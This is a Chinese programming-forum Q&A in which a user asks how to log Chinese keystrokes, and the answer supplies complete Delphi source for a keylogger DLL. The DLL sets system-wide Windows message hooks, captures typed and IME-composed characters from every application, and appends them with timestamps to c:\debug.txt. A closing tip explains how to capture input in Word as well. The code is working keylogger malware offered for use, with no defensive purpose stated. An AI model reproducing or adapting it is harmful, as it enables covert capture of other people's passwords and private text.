求：如何实现【中文】键盘记录?

Question

求：如何实现【中文】键盘记录?最好有delphi原代码谢谢了，各位。

Answer 1

library keyHook;{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }uses
  SysUtils,
  Messages,
  windows,
  Dialogs,
  stdctrls,
  Classes;const
   afilename='c:\debug.txt';
   MAXSIZE=60;
type
   TKeyBuf=record    //键盘缓冲区
      count:integer; //计数器
      Buf:String;//缓冲区的内容
    end;var
  HHGetMsgProc:HHook;
  HHCallWndProc:HHook;
  procsaveexit:pointer;
  keyBuf:TKeyBuf; //键盘缓冲区实例
//.................................procedure SaveInfo(str:string);stdcall;
var
  f:textfile;
begin
  assignfile(f,afilename);
  if fileexists(afilename)=false then rewrite(f)
  else append(f); 
   Writeln(f, TimeToStr(now())+'  '+str);  
   closefile(f);
end;
//................................................
procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
var
   ch:Char;
begin if (uMessage=WM_IME_CHAR) then   //针对输入法
  begin
    inc(keyBuf.count,2);
    keyBuf.Buf:=keyBuf.Buf+chr((wparam shr 8) and $ff)+chr(wparam and $ff);    if (keybuf.count>=MAXSIZE) then  //回车键
      begin
           SaveInfo(keybuf.Buf);
           keyBuf.Count:=0;
           keyBuf.Buf:='';
      end;
  end
   else
      if (((uMessage=WM_CHAR))) and ((lParam and $1)=1) then    //无输入法
          begin
             ch:=chr(wparam and $ff);             if (ch<>#13) and (ord(ch)<128) then
              begin
                 inc(keyBuf.count);
                 keyBuf.Buf:=keyBuf.Buf+ch;
              end;             if (ch=#13) or (keybuf.count>=MAXSIZE) then  //回车键
              begin
                   SaveInfo(keybuf.Buf);
                   keyBuf.Count:=0;
                   keyBuf.Buf:='';
              end
           end;end;
//..................................
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
  pcs:PMSG;
  hd,uMsg,wP,lP:integer;
begin
  pcs:=PMSG(lParam);
  if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
  begin
    hd:=pcs^.hwnd;
    uMsg:=pcs^.message;
    wp:=pcs^.wParam;
    lp:=pcs^.lParam;
    HookProc(hd,uMsg,wp,lp);
  end;
  Result:=CallNextHookEx(HHGetMsgProc,nCode,wParam,lParam);
end;
//................................................................
function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
  pcs:PCWPSTRUCT;
  hd,uMsg,wP,lP:integer;
begin
  pcs:=PCWPSTRUCT(lParam);
  if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
  begin
    hd:=pcs^.hwnd;
    uMsg:=pcs^.message;
    wp:=pcs^.wParam;
    lp:=pcs^.lParam;
    HookProc(hd,uMsg,wp,lp);
  end;
  Result:=CallNextHookEx(HHCallWndProc,nCode,wParam,lParam);
end;
//.......................................
function setkeyhook:bool;
begin
  if  HHGetMsgProc=0 then
   begin
     HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,hinstance,0);
   end;   if HHCallWndProc=0 then
    begin
      HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,hinstance,0);
      if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
    end;    if   (HHGetMsgProc<>0) and  (HHCallWndProc<>0) then
      begin
        result:=True;
        messageBeep(0);
      end
     else
       Result:=False;
end;
//...........................................
function endkeyhook:bool;
begin
  if HHCallWndProc<>0 then   unhookwindowshookex(HHCallWndProc);
  if HHGetMsgProc<>0 then    unhookwindowshookex(HHGetMsgProc);
    HHGetMsgProc:=0;
    HHCallWndProc:=0;
    messagebeep(0);    
    if (HHCallWndProc=0) and (HHGetMsgProc=0)then
      result:=true
      else
       result:=false;
 end;
//............................................
procedure keyhookexit;
begin
  if HHGetMsgProc<>0 then
  endkeyhook;
  exitproc:=procsaveexit;
end;
{$R *.res}exports
   setkeyhook, endkeyhook;begin
  HHGetMsgProc:=0;
  HHCallWndProc:=0;
  procsaveexit:=exitproc;
  exitproc:=@keyhookexit;
end.另外，特殊的汉字数据，如WORD中汉字，需使用WM_IME_COMPOSITION消息，要利用ImmGetCompositionString函数得到所输入的汉字。